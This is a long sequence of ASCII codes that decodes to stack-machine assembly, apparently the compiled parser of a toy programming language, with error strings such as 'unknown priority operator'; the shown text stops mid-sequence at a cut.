32,98,112,91,45,50,93,32,48,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,112,117,115,104,32,98,112,10,109,111,118,32,98,112,32,115,112,10,97,100,100,32,115,112,32,115,112,32,50,10,101,113,32,98,112,91,49,93,32,98,112,91,45,52,93,32,48,10,106,122,32,98,112,91,49,93,32,53,56,54,10,112,117,115,104,32,98,112,91,45,51,93,10,112,117,115,104,32,48,10,99,97,108,108,32,51,10,112,111,112,32,98,112,91,50,93,10,115,117,98,32,115,112,32,115,112,32,49,10,106,122,32,48,32,53,56,54,10,109,111,118,32,98,112,91,45,50,93,32,48,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,112,117,115,104,32,98,112,10,109,111,118,32,98,112,32,115,112,10,97,100,100,32,115,112,32,115,112,32,49,51,10,97,100,100,32,98,112,91,50,93,32,35,49,32,98,112,91,45,52,93,10,103,101,116,32,98,112,91,51,93,32,35,48,32,98,112,91,50,93,10,101,113,32,98,112,91,52,93,32,98,112,91,51,93,32,98,112,91,45,51,93,10,112,117,115,104,32,98,112,91,52,93,10,109,97,107,101,108,105,115,116,32,98,112,91,53,93,32,91,57,55,44,49,49,53,44,49,49,53,44,49,48,49,44,49,49,52,44,49,49,54,44,57,53,44,49,49,54,44,49,49,49,44,49,48,55,44,49,48,49,44,49,49,48,44,53,56,44,51,50,44,49,48,49,44,49,50,48,44,49,49,50,44,49,48,49,44,57,57,44,49,49,54,44,51,50,93,10,97,100,100,32,98,112,91,54,93,32,98,112,91,53,93,32,98,112,91,45,51,93,10,109,97,107,101,108,105,115,116,32,98,112,91,55,93,32,91,51,50,44,49,48,51,44,49,49,49,44,49,49,54,44,53,56,44,51,50,93,10,97,100,100,32,98,112,91,56,93,32,98,112,91,54,93,32,98,112,91,55,93,10,97,100,100,32,98,112,91,57,93,32,35,49,32,98,112,91,45,52,93,10,103,101,116,32,98,112,91,49,48,93,32,35,48,32,98,112,91,57,93,10,97,100,100,32,98,112,91,49,49,93,32,98,112,91,56,93,32,98,112,91,49,48,93,10,112,117,115,104,32,98,112,91,49,49,93,10,112,117,115,104,32,48,10,99,97,108,108,32,53,55,53,10,112,111,112,32,98,112,91,49,93,10,115,117,98,32,115,112,32,115,112,32,50,10,97,100,100,32,98,112,91,49,50,93,32,35,49,32,98,112,91,45,52,93,10,97,100,100,32,98,112,91,49,51,93,32,98,112,91,49,50,93,32,49,10,109,111,118,32,35,49,32,98,112,91,49,51,93,10,109,111,118,32,98,112,91,45,50,93,32,48,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,112,117,115,104,32,98,112,10,109,111,118,32,98,112,32,115,112,10,97,100,100,32,115,112,32,115,112,32,51,49,10,109,97,107,101,108,105,115,116,32,98,112,91,51,93,32,91,49,50,52,44,49,50,52,93,10,109,97,107,101,108,105,115,116,32,98,112,91,52,93,32,91,51,56,44,51,56,93,10,109,97,107,101,108,105,115,116,32,98,112,91,53,93,32,91,51,51,93,10,109,97,107,101,108,105,115,116,32,98,112,91,54,93,32,91,98,112,91,51,93,44,98,112,91,52,93,44,98,112,91,53,93,93,10,109,97,107,101,108,105,115,116,32,98,112,91,55,93,32,91,54,49,44,54,49,93,10,109,97,107,101,108,105,115,116,32,98,112,91,56,93,32,91,51,51,44,54,49,93,10,109,97,107,101,108,105,115,116,32,98,112,91,57,93,32,91,54,50,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,48,93,32,91,54,48,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,49,93,32,91,54,48,44,54,49,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,50,93,32,91,54,50,44,54,49,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,51,93,32,91,98,112,91,55,93,44,98,112,91,56,93,44,98,112,91,57,93,44,98,112,91,49,48,93,44,98,112,91,49,49,93,44,98,112,91,49,50,93,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,52,93,32,91,52,51,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,53,93,32,91,52,53,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,54,93,32,91,98,112,91,49,52,93,44,98,112,91,49,53,93,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,55,93,32,91,52,50,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,56,93,32,91,52,55,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,57,93,32,91,51,55,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,48,93,32,91,98,112,91,49,55,93,44,98,112,91,49,56,93,44,98,112,91,49,57,93,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,49,93,32,91,98,112,91,54,93,44,98,112,91,49,51,93,44,98,112,91,49,54,93,44,98,112,91,50,48,93,93,10,109,111,118,32,98,112,91,49,93,32,98,112,91,50,49,93,10,109,111,118,32,98,112,91,50,93,32,48,10,112,117,115,104,32,98,112,91,49,93,10,112,117,115,104,32,48,10,108,101,110,10,112,111,112,32,98,112,91,50,50,93,10,115,117,98,32,115,112,32,115,112,32,49,10,108,116,32,98,112,91,50,51,93,32,98,112,91,50,93,32,98,112,91,50,50,93,10,106,122,32,98,112,91,50,51,93,32,54,54,54,10,103,101,116,32,98,112,91,50,53,93,32,98,112,91,49,93,32,98,112,91,50,93,10,112,117,115,104,32,98,112,91,50,53,93,10,112,117,115,104,32,98,112,91,45,51,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,56,10,112,111,112,32,98,112,91,50,52,93,10,115,117,98,32,115,112,32,115,112,32,50,10,115,117,98,32,98,112,91,50,54,93,32,48,32,49,10,101,113,32,98,112,91,50,55,93,32,98,112,91,50,52,93,32,98,112,91,50,54,93,10,101,113,32,98,112,91,50,55,93,32,98,112,91,50,55,93,32,48,10,106,122,32,98,112,91,50,55,93,32,54,54,51,10,109,111,118,32,98,112,91,45,50,93,32,98,112,91,50,93,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,106,122,32,48,32,54,54,51,10,97,100,100,32,98,112,91,50,56,93,32,98,112,91,50,93,32,49,10,109,111,118,32,98,112,91,50,93,32,98,112,91,50,56,93,10,106,122,32,48,32,54,52,48,10,109,97,107,101,108,105,115,116,32,98,112,91,51,48,93,32,91,49,49,55,44,49,49,48,44,49,48,55,44,49,49,48,44,49,49,49,44,49,49,57,44,49,49,48,44,51,50,44,49,49,50,44,49,49,52,44,49,48,53,44,49,49,49,44,49,49,52,44,49,48,53,44,49,49,54,44,49,50,49,44,51,50,44,49,49,49,44,49,49,50,44,49,48,49,44,49,49,52,44,57,55,44,49,49,54,44,49,49,49,44,49,49,52,44,53,56,44,51,50,93,10,97,100,100,32,98,112,91,51,49,93,32,98,112,91,51,48,93,32,98,112,91,45,51,93,10,112,117,115,104,32,98,112,91,51,49,93,10,112,117,115,104,32,48,10,99,97,108,108,32,51,10,112,111,112,32,98,112,91,50,57,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,111,118,32,98,112,91,45,50,93,32,48,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,112,117,115,104,32,98,112,10,109,111,118,32,98,112,32,115,112,10,97,100,100,32,115,112,32,115,112,32,49,49,48,10,103,101,116,32,98,112,91,56,93,32,35,48,32,35,49,10,109,111,118,32,98,112,91,49,93,32,98,112,91,56,93,10,109,97,107,101,108,105,115,116,32,98,112,91,57,93,32,91,52,48,93,10,101,113,32,98,112,91,49,48,93,32,98,112,91,49,93,32,98,112,91,57,93,10,106,122,32,98,112,91,49,48,93,32,55,48,50,10,97,100,100,32,98,112,91,49,49,93,32,35,49,32,49,10,109,111,118,32,35,49,32,98,112,91,49,49,93,10,115,117,98,32,98,112,91,49,51,93,32,48,32,49,10,112,117,115,104,32,98,112,91,49,51,93,10,112,117,115,104,32,48,10,99,97,108,108,32,54,55,55,10,112,111,112,32,98,112,91,49,50,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,111,118,32,98,112,91,50,93,32,98,112,91,49,50,93,10,112,117,115,104,32,48,10,109,97,107,101,108,105,115,116,32,98,112,91,49,53,93,32,91,52,49,93,10,112,117,115,104,32,98,112,91,49,53,93,10,112,117,115,104,32,48,10,99,97,108,108,32,53,57,48,10,112,111,112,32,98,112,91,49,52,93,10,115,117,98,32,115,112,32,115,112,32,50,10,106,122,32,48,32,56,48,56,10,109,97,107,101,108,105,115,116,32,98,112,91,49,54,93,32,91,57,49,93,10,101,113,32,98,112,91,49,55,93,32,98,112,91,49,93,32,98,112,91,49,54,93,10,106,122,32,98,112,91,49,55,93,32,55,49,57,10,112,117,115,104,32,48,10,109,97,107,101,108,105,115,116,32,98,112,91,49,57,93,32,91,57,49,93,10,112,117,115,104,32,98,112,91,49,57,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,48,93,32,91,57,51,93,10,112,117,115,104,32,98,112,91,50,48,93,10,112,117,115,104,32,48,10,99,97,108,108,32,57,50,50,10,112,111,112,32,98,112,91,49,56,93,10,115,117,98,32,115,112,32,115,112,32,51,10,109,111,118,32,98,112,91,51,93,32,98,112,91,49,56,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,49,93,32,91,57,49,44,57,51,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,50,93,32,91,98,112,91,50,49,93,44,98,112,91,51,93,93,10,109,111,118,32,98,112,91,50,93,32,98,112,91,50,50,93,10,106,122,32,48,32,56,48,56,10,109,97,107,101,108,105,115,116,32,98,112,91,50,51,93,32,91,52,53,93,10,101,113,32,98,112,91,50,52,93,32,98,112,91,49,93,32,98,112,91,50,51,93,10,106,122,32,98,112,91,50,52,93,32,55,52,48,10,97,100,100,32,98,112,91,50,53,93,32,35,49,32,49,10,109,111,118,32,35,49,32,98,112,91,50,53,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,54,93,32,91,55,55,44,49,48,53,44,49,49,48,44,49,49,55,44,49,49,53,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,57,93,32,91,52,53,93,10,112,117,115,104,32,98,112,91,50,57,93,10,112,117,115,104,32,48,10,99,97,108,108,32,54,49,54,10,112,111,112,32,98,112,91,50,56,93,10,115,117,98,32,115,112,32,115,112,32,49,10,112,117,115,104,32,98,112,91,50,56,93,10,112,117,115,104,32,48,10,99,97,108,108,32,54,55,55,10,112,111,112,32,98,112,91,50,55,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,97,107,101,108,105,115,116,32,98,112,91,51,48,93,32,91,98,112,91,50,55,93,93,10,109,97,107,101,108,105,115,116,32,98,112,91,51,49,93,32,91,98,112,91,50,54,93,44,98,112,91,51,48,93,93,10,109,111,118,32,98,112,91,50,93,32,98,112,91,51,49,93,10,106,122,32,48,32,56,48,56,10,109,97,107,101,108,105,115,116,32,98,112,91,51,50,93,32,91,51,51,93,10,101,113,32,98,112,91,51,51,93,32,98,112,91,49,93,32,98,112,91,51,50,93,10,106,122,32,98,112,91,51,51,93,32,55,54,49,10,97,100,100,32,98,112,91,51,52,93,32,35,49,32,49,10,109,111,118,32,35,49,32,98,112,91,51,52,93,10,109,97,107,101,108,105,115,116,32,98,112,91,51,53,93,32,91,55,56,44,49,49,49,44,49,49,54,93,10,109,97,107,101,108,105,115,116,32,98,112,91,51,56,93,32,91,51,51,93,10,112,117,115,104,32,98,112,91,51,56,93,10,112,117,115,104,32,48,10,99,97,108,108,32,54,49,54,10,112,111,112,32,98,112,91,51,55,93,10,115,117,98,32,115,112,32,115,112,32,49,10,112,117,115,104,32,98,112,91,51,55,93,10,112,117,115,104,32,48,10,99,97,108,108,32,54,55,55,10,112,111,112,32,98,112,91,51,54,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,97,107,101,108,105,115,116,32,98,112,91,51,57,93,32,91,98,112,91,51,54,93,93,10,109,97,107,101,108,105,115,116,32,98,112,91,52,48,93,32,91,98,112,91,51,53,93,44,98,112,91,51,57,93,93,10,109,111,118,32,98,112,91,50,93,32,98,112,91,52,48,93,10,106,122,32,48,32,56,48,56,10,112,117,115,104,32,98,112,91,49,93,10,112,117,115,104,32,48,10,99,97,108,108,32,50,54,57,10,112,111,112,32,98,112,91,52,49,93,10,115,117,98,32,115,112,32,115,112,32,49,10,106,122,32,98,112,91,52,49,93,32,55,55,49,10,109,97,107,101,108,105,115,116,32,98,112,91,52,50,93,32,91,55,51,44,49,49,48,44,49,49,54,93,10,109,97,107,101,108,105,115,116,32,98,112,91,52,51,93,32,91,98,112,91,52,50,93,44,98,112,91,49,93,93,10,109,111,118,32,98,112,91,50,93,32,98,112,91,52,51,93,10,106,122,32,48,32,56,48,54,10,103,101,116,32,98,112,91,52,52,93,32,98,112,91,49,93,32,48,10,101,113,32,98,112,91,52,53,93,32,98,112,91,52,52,93,32,51,52,10,106,122,32,98,112,91,52,53,93,32,56,48,51,10,109,97,107,101,108,105,115,116,32,98,112,91,52,54,93,32,91,93,10,109,111,118,32,98,112,91,52,93,32,98,112,91,52,54,93,10,109,111,118,32,98,112,91,53,93,32,49,10,97,100,100,32,98,112,91,52,55,93,32,98,112,91,53,93,32,49,10,112,117,115,104,32,98,112,91,49,93,10,112,117,115,104,32,48,10,108,101,110,10,112,111,112,32,98,112,91,52,56,93,10,115,117,98,32,115,112,32,115,112,32,49,10,108,116,32,98,112,91,52,57,93,32,98,112,91,52,55,93,32,98,112,91,52,56,93,10,106,122,32,98,112,91,52,57,93,32,55,57,57,10,109,97,107,101,108,105,115,116,32,98,112,91,53,48,93,32,91,55,51,44,49,49,48,44,49,49,54,93,10,103,101,116,32,98,112,91,53,50,93,32,98,112,91,49,93,32,98,112,91,53,93,10,112,117,115,104,32,98,112,91,53,50,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,54,50,10,112,111,112,32,98,112,91,53,49,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,97,107,101,108,105,115,116,32,98,112,91,53,51,93,32,91,98,112,91,53,48,93,44,98,112,91,53,49,93,93,10,109,97,107,101,108,105,115,116,32,98,112,91,53,52,93,32,91,98,112,91,53,51,93,93,10,97,100,100,32,98,112,91,53,53,93,32,98,112,91,52,93,32,98,112,91,53,52,93,10,109,111,118,32,98,112,91,52,93,32,98,112,91,53,53,93,10,97,100,100,32,98,112,91,53,54,93,32,98,112,91,53,93,32,49,10,109,111,118,32,98,112,91,53,93,32,98,112,91,53,54,93,10,106,122,32,48,32,55,55,55,10,109,97,107,101,108,105,115,116,32,98,112,91,53,55,93,32,91,57,49,44,57,51,93,10,109,97,107,101,108,105,115,116,32,98,112,91,53,56,93,32,91,98,112,91,53,55,93,44,98,112,91,52,93,93,10,109,111,118,32,98,112,91,50,93,32,98,112,91,53,56,93,10,106,122,32,48,32,56,48,54,10,109,97,107,101,108,105,115,116,32,98,112,91,53,57,93,32,91,56,54,44,57,55,44,49,49,52,93,10,109,97,107,101,108,105,115,116,32,98,112,91,54,48,93,32,91,98,112,91,53,57,93,44,98,112,91,49,93,93,10,109,111,118,32,98,112,91,50,93,32,98,112,91,54,48,93,10,97,100,100,32,98,112,91,54,49,93,32,35,49,32,49,10,109,111,118,32,35,49,32,98,112,91,54,49,93,10,106,122,32,49,32,57,49,56,10,103,101,116,32,98,112,91,54,50,93,32,35,48,32,35,49,10,109,111,118,32,98,112,91,54,93,32,98,112,91,54,50,93,10,109,97,107,101,108,105,115,116,32,98,112,91,54,51,93,32,91,52,49,93,10,101,113,32,98,112,91,54,52,93,32,98,112,91,54,93,32,98,112,91,54,51,93,10,109,97,107,101,108,105,115,116,32,98,112,91,54,53,93,32,91,53,57,93,10,101,113,32,98,112,91,54,54,93,32,98,112,91,54,93,32,98,112,91,54,53,93,10,101,113,32,98,112,91,54,55,93,32,98,112,91,54,52,93,32,48,10,101,113,32,98,112,91,54,56,93,32,98,112,91,54,54,93,32,48,10,109,117,108,32,98,112,91,54,55,93,32,98,112,91,54,55,93,32,98,112,91,54,56,93,10,101,113,32,98,112,91,54,55,93,32,98,112,91,54,55,93,32,48,10,109,97,107,101,108,105,115,116,32,98,112,91,54,57,93,32,91,52,52,93,10,101,113,32,98,112,91,55,48,93,32,98,112,91,54,93,32,98,112,91,54,57,93,10,101,113,32,98,112,91,55,49,93,32,98,112,91,54,55,93,32,48,10,101,113,32,98,112,91,55,50,93,32,98,112,91,55,48,93,32,48,10,109,117,108,32,98,112,91,55,49,93,32,98,112,91,55,49,93,32,98,112,91,55,50,93,10,101,113,32,98,112,91,55,49,93,32,98,112,91,55,49,93,32,48,10,109,97,107,101,108,105,115,116,32,98,112,91,55,51,93,32,91,57,51,93,10,101,113,32,98,112,91,55,52,93,32,98,112,91,54,93,32,98,112,91,55,51,93,10,101,113,32,98,112,91,55,53,93,32,98,112,91,55,49,93,32,48,10,101,113,32,98,112,91,55,54,93,32,98,112,91,55,52,93,32,48,10,109,117,108,32,98,112,91,55,53,93,32,98,112,91,55,53,93,32,98,112,91,55,54,93,10,101,113,32,98,112,91,55,53,93,32,98,112,91,55,53,93,32,48,10,106,122,32,98,112,91,55,53,93,32,56,51,55,10,109,111,118,32,98,112,91,45,50,93,32,98,112,91,50,93,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,106,122,32,48,32,57,49,55,10,109,97,107,101,108,105,115,116,32,98,112,91,55,55,93,32,91,52,48,93,10,101,113,32,98,112,91,55,56,93,32,98,112,91,54,93,32,98,112,91,55,55,93,10,106,122,32,98,112,91,55,56,93,32,56,55,48,10,103,101,116,32,98,112,91,56,48,93,32,98,112,91,50,93,32,48,10,109,97,107,101,108,105,115,116,32,98,112,91,56,49,93,32,91,56,54,44,57,55,44,49,49,52,93,10,101,113,32,98,112,91,56,50,93,32,98,112,91,56,48,93,32,98,112,91,56,49,93,10,112,117,115,104,32,98,112,91,56,50,93,10,109,97,107,101,108,105,115,116,32,98,112,91,56,51,93,32,91,49,48,50,44,49,49,55,44,49,49,48,44,57,57,44,49,49,54,44,49,48,53,44,49,49,49,44,49,49,48,44,51,50,44,57,57,44,57,55,44,49,48,56,44,49,48,56,44,51,50,44,49,48,50,44,49,49,49,44,49,49,52,44,51,50,93,10,103,101,116,32,98,112,91,56,52,93,32,98,112,91,50,93,32,48,10,97,100,100,32,98,112,91,56,53,93,32,98,112,91,56,51,93,32,98,112,91,56,52,93,10,109,97,107,101,108,105,115,116,32,98,112,91,56,54,93,32,91,51,50,44,49,48,53,44,49,49,53,44,51,50,44,49,49,48,44,49,49,49,44,49,49,54,44,51,50,44,49,48,48,44,49,48,49,44,49,48,50,44,49,48,53,44,49,49,48,44,49,48,49,44,49,48,48,93,10,97,100,100,32,98,112,91,56,55,93,32,98,112,91,56,53,93,32,98,112,91,56,54,93,10,112,117,115,104,32,98,112,91,56,55,93,10,112,117,115,104,32,48,10,99,97,108,108,32,53,55,53,10,112,111,112,32,98,112,91,55,57,93,10,115,117,98,32,115,112,32,115,112,32,50,10,112,117,115,104,32,48,10,109,97,107,101,108,105,115,116,32,98,112,91,56,57,93,32,91,52,48,93,10,112,117,115,104,32,98,112,91,56,57,93,10,109,97,107,101,108,105,115,116,32,98,112,91,57,48,93,32,91,52,49,93,10,112,117,115,104,32,98,112,91,57,48,93,10,112,117,115,104,32,48,10,99,97,108,108,32,57,50,50,10,112,111,112,32,98,112,91,56,56,93,10,115,117,98,32,115,112,32,115,112,32,51,10,109,111,118,32,98,112,91,51,93,32,98,112,91,56,56,93,10,109,97,107,101,108,105,115,116,32,98,112,91,57,49,93,32,91,54,55,44,57,55,44,49,48,56,44,49,48,56,93,10,103,101,116,32,98,112,91,57,50,93,32,98,112,91,50,93,32,49,10,109,97,107,101,108,105,115,116,32,98,112,91,57,51,93,32,91,98,112,91,57,50,93,44,98,112,91,51,93,93,10,109,97,107,101,108,105,115,116,32,98,112,91,57,52,93,32,91,98,112,91,57,49,93,44,98,112,91,57,51,93,93,10,109,111,118,32,98,112,91,50,93,32,98,112,91,57,52,93,10,106,122,32,48,32,57,49,55,10,109,97,107,101,108,105,115,116,32,98,112,91,57,53,93,32,91,57,49,93,10,101,113,32,98,112,91,57,54,93,32,98,112,91,54,93,32,98,112,91,57,53,93,10,106,122,32,98,112,91,57,54,93,32,56,57,51,10,97,100,100,32,98,112,91,57,55,93,32,35,49,32,49,10,109,111,118,32,35,49,32,98,112,91,57,55,93,10,109,97,107,101,108,105,115,116,32,98,112,91,57,56,93,32,91,55,49,44,49,48,49,44,49,49,54,93,10,115,117,98,32,98,112,91,49,48,48,93,32,48,32,49,10,112,117,115,104,32,98,112,91,49,48,48,93,10,112,117,115,104,32,48,10,99,97,108,108,32,54,55,55,10,112,111,112,32,98,112,91,57,57,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,97,107,101,108,105,115,116,32,98,112,91,49,48,49,93,32,91,98,112,91,50,93,44,98,112,91,57,57,93,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,48,50,93,32,91,98,112,91,57,56,93,44,98,112,91,49,48,49,93,93,10,109,111,118,32,98,112,91,50,93,32,98,112,91,49,48,50,93,10,112,117,115,104,32,48,10,109,97,107,101,108,105,115,116,32,98,112,91,49,48,52,93,32,91,57,51,93,10,112,117,115,104,32,98,112,91,49,48,52,93,10,112,117,115,104,32,48,10,99,97,108,108,32,53,57,48,10,112,111,112,32,98,112,91,49,48,51,93,10,115,117,98,32,115,112,32,115,112,32,50,10,106,122,32,48,32,57,49,55,10,112,117,115,104,32,98,112,91,54,93,10,112,117,115,104,32,48,10,99,97,108,108,32,54,49,54,10,112,111,112,32,98,112,91,49,48,53,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,111,118,32,98,112,91,55,93,32,98,112,91,49,48,53,93,10,108,116,32,98,112,91,49,48,54,93,32,98,112,91,45,51,93,32,98,112,91,55,93,10,101,113,32,98,112,91,49,48,54,93,32,48,32,98,112,91,49,48,54,93,10,106,122,32,98,112,91,49,48,54,93,32,57,48,55,10,109,111,118,32,98,112,91,45,50,93,32,98,112,91,50,93,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,106,122,32,48,32,57,49,55,10,97,100,100,32,98,112,91,49,48,55,93,32,35,49,32,49,10,109,111,118,32,35,49,32,98,112,91,49,48,55,93,10,112,117,115,104,32,98,112,91,55,93,10,112,117,115,104,32,48,10,99,97,108,108,32,54,55,55,10,112,111,112,32,98,112,91,49,48,56,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,97,107,101,108,105,115,116,32,98,112,91,49,48,57,93,32,91,98,112,91,50,93,44,98,112,91,49,48,56,93,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,49,48,93,32,91,98,112,91,54,93,44,98,112,91,49,48,57,93,93,10,109,111,118,32,98,112,91,50,93,32,98,112,91,49,49,48,93,10,106,122,32,48,32,56,48,56,10,109,111,118,32,98,112,91,45,50,93,32,48,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,112,117,115,104,32,98,112,10,109,111,118,32,98,112,32,115,112,10,97,100,100,32,115,112,32,115,112,32,50,52,10,112,117,115,104,32,48,10,112,117,115,104,32,98,112,91,45,52,93,10,112,117,115,104,32,48,10,99,97,108,108,32,53,57,48,10,112,111,112,32,98,112,91,52,93,10,115,117,98,32,115,112,32,115,112,32,50,10,103,101,116,32,98,112,91,53,93,32,35,48,32,35,49,10,101,113,32,98,112,91,54,93,32,98,112,91,53,93,32,98,112,91,45,51,93,10,106,122,32,98,112,91,54,93,32,57,52,50,10,97,100,100,32,98,112,91,55,93,32,35,49,32,49,10,109,111,118,32,35,49,32,98,112,91,55,93,10,109,97,107,101,108,105,115,116,32,98,112,91,56,93,32,91,93,10,109,111,118,32,98,112,91,45,50,93,32,98,112,91,56,93,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,106,122,32,48,32,57,57,52,10,106,122,32,98,112,91,45,53,93,32,57,52,56,10,103,101,116,32,98,112,91,57,93,32,35,48,32,35,49,10,109,111,118,32,98,112,91,49,93,32,98,112,91,57,93,10,97,100,100,32,98,112,91,49,48,93,32,35,49,32,49,10,109,111,118,32,35,49,32,98,112,91,49,48,93,10,106,122,32,48,32,57,53,53,10,115,117,98,32,98,112,91,49,50,93,32,48,32,49,10,112,117,115,104,32,98,112,91,49,50,93,10,112,117,115,104,32,48,10,99,97,108,108,32,54,55,55,10,112,111,112,32,98,112,91,49,49,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,111,118,32,98,112,91,49,93,32,98,112,91,49,49,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,51,93,32,91,98,112,91,49,93,93,10,109,111,118,32,98,112,91,50,93,32,98,112,91,49,51,93,10,109,111,118,32,98,112,91,51,93,32,49,10,106,122,32,98,112,91,51,93,32,57,57,48,10,103,101,116,32,98,112,91,49,52,93,32,35,48,32,35,49,10,101,113,32,98,112,91,49,53,93,32,98,112,91,49,52,93,32,98,112,91,45,51,93,10,106,122,32,98,112,91,49,53,93,32,57,54,54,10,97,100,100,32,98,112,91,49,54,93,32,35,49,32,49,10,109,111,118,32,35,49,32,98,112,91,49,54,93,10,109,111,118,32,98,112,91,51,93,32,48,10,106,122,32,48,32,57,56,57,10,112,117,115,104,32,48,10,109,97,107,101,108,105,115,116,32,98,112,91,49,56,93,32,91,52,52,93,10,112,117,115,104,32,98,112,91,49,56,93,10,112,117,115,104,32,48,10,99,97,108,108,32,53,57,48,10,112,111,112,32,98,112,91,49,55,93,10,115,117,98,32,115,112,32,115,112,32,50,10,106,122,32,98,112,91,45,53,93,32,57,55,57,10,103,101,116,32,98,112,91,49,57,93,32,35,48,32,35,49,10,109,111,118,32,98,112,91,49,93,32,98,112,91,49,57,93,10,97,100,100,32,98,112,91,50,48,93,32,35,49,32,49,10,109,111,118,32,35,49,32,98,112,91,50,48,93,10,106,122,32,48,32,57,56,54,10,115,117,98,32,98,112,91,50,50,93,32,48,32,49,10,112,117,115,104,32,98,112,91,50,50,93,10,112,117,115,104,32,48,10,99,97,108,108,32,54,55,55,10,112,111,112,32,98,112,91,50,49,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,111,118,32,98,112,91,49,93,32,98,112,91,50,49,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,51,93,32,91,98,112,91,49,93,93,10,97,100,100,32,98,112,91,50,52,93,32,98,112,91,50,93,32,98,112,91,50,51,93,10,109,111,118,32,98,112,91,50,93,32,98,112,91,50,52,93,10,106,122,32,48,32,57,53,56,10,109,111,118,32,98,112,91,45,50,93,32,98,112,91,50,93,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,109,111,118,32,98,112,91,45,50,93,32,48,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,112,117,115,104,32,98,112,10,109,111,118,32,98,112,32,115,112,10,97,100,100,32,115,112,32,115,112,32,54,48,10,103,101,116,32,98,112,91,54,93,32,35,48,32,35,49,10,109,111,118,32,98,112,91,49,93,32,98,112,91,54,93,10,109,97,107,101,108,105,115,116,32,98,112,91,55,93,32,91,49,48,53,44,49,48,50,93,10,101,113,32,98,112,91,56,93,32,98,112,91,49,93,32,98,112,91,55,93,10,106,122,32,98,112,91,56,93,32,49,48,53,51,10,112,117,115,104,32,49,10,109,97,107,101,108,105,115,116,32,98,112,91,49,48,93,32,91,52,48,93,10,112,117,115,104,32,98,112,91,49,48,93,10,112,117,115,104,32,48,10,99,97,108,108,32,53,57,48,10,112,111,112,32,98,112,91,57,93,10,115,117,98,32,115,112,32,115,112,32,50,10,115,117,98,32,98,112,91,49,50,93,32,48,32,49,10,112,117,115,104,32,98,112,91,49,50,93,10,112,117,115,104,32,48,10,99,97,108,108,32,54,55,55,10,112,111,112,32,98,112,91,49,49,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,111,118,32,98,112,91,50,93,32,98,112,91,49,49,93,10,112,117,115,104,32,48,10,109,97,107,101,108,105,115,116,32,98,112,91,49,52,93,32,91,52,49,93,10,112,117,115,104,32,98,112,91,49,52,93,10,112,117,115,104,32,48,10,99,97,108,108,32,53,57,48,10,112,111,112,32,98,112,91,49,51,93,10,115,117,98,32,115,112,32,115,112,32,50,10,112,117,115,104,32,48,10,99,97,108,108,32,49,50,48,51,10,112,111,112,32,98,112,91,49,53,93,10,115,117,98,32,115,112,32,115,112,32,48,10,109,111,118,32,98,112,91,51,93,32,98,112,91,49,53,93,10,103,101,116,32,98,112,91,49,54,93,32,35,48,32,35,49,10,109,97,107,101,108,105,115,116,32,98,112,91,49,55,93,32,91,49,48,49,44,49,48,56,44,49,49,53,44,49,48,49,93,10,101,113,32,98,112,91,49,56,93,32,98,112,91,49,54,93,32,98,112,91,49,55,93,10,106,122,32,98,112,91,49,56,93,32,49,48,52,52,10,97,100,100,32,98,112,91,49,57,93,32,35,49,32,49,10,109,111,118,32,35,49,32,98,112,91,49,57,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,50,48,51,10,112,111,112,32,98,112,91,50,48,93,10,115,117,98,32,115,112,32,115,112,32,48,10,109,111,118,32,98,112,91,52,93,32,98,112,91,50,48,93,10,106,122,32,48,32,49,48,52,54,10,109,97,107,101,108,105,115,116,32,98,112,91,50,49,93,32,91,93,10,109,111,118,32,98,112,91,52,93,32,98,112,91,50,49,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,50,93,32,91,55,51,44,49,48,50,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,51,93,32,91,98,112,91,50,50,93,44,98,112,91,50,93,44,98,112,91,51,93,44,98,112,91,52,93,93,10,109,111,118,32,98,112,91,45,50,93,32,98,112,91,50,51,93,10,109,111,118,32,115,112,32,98,112,10,112,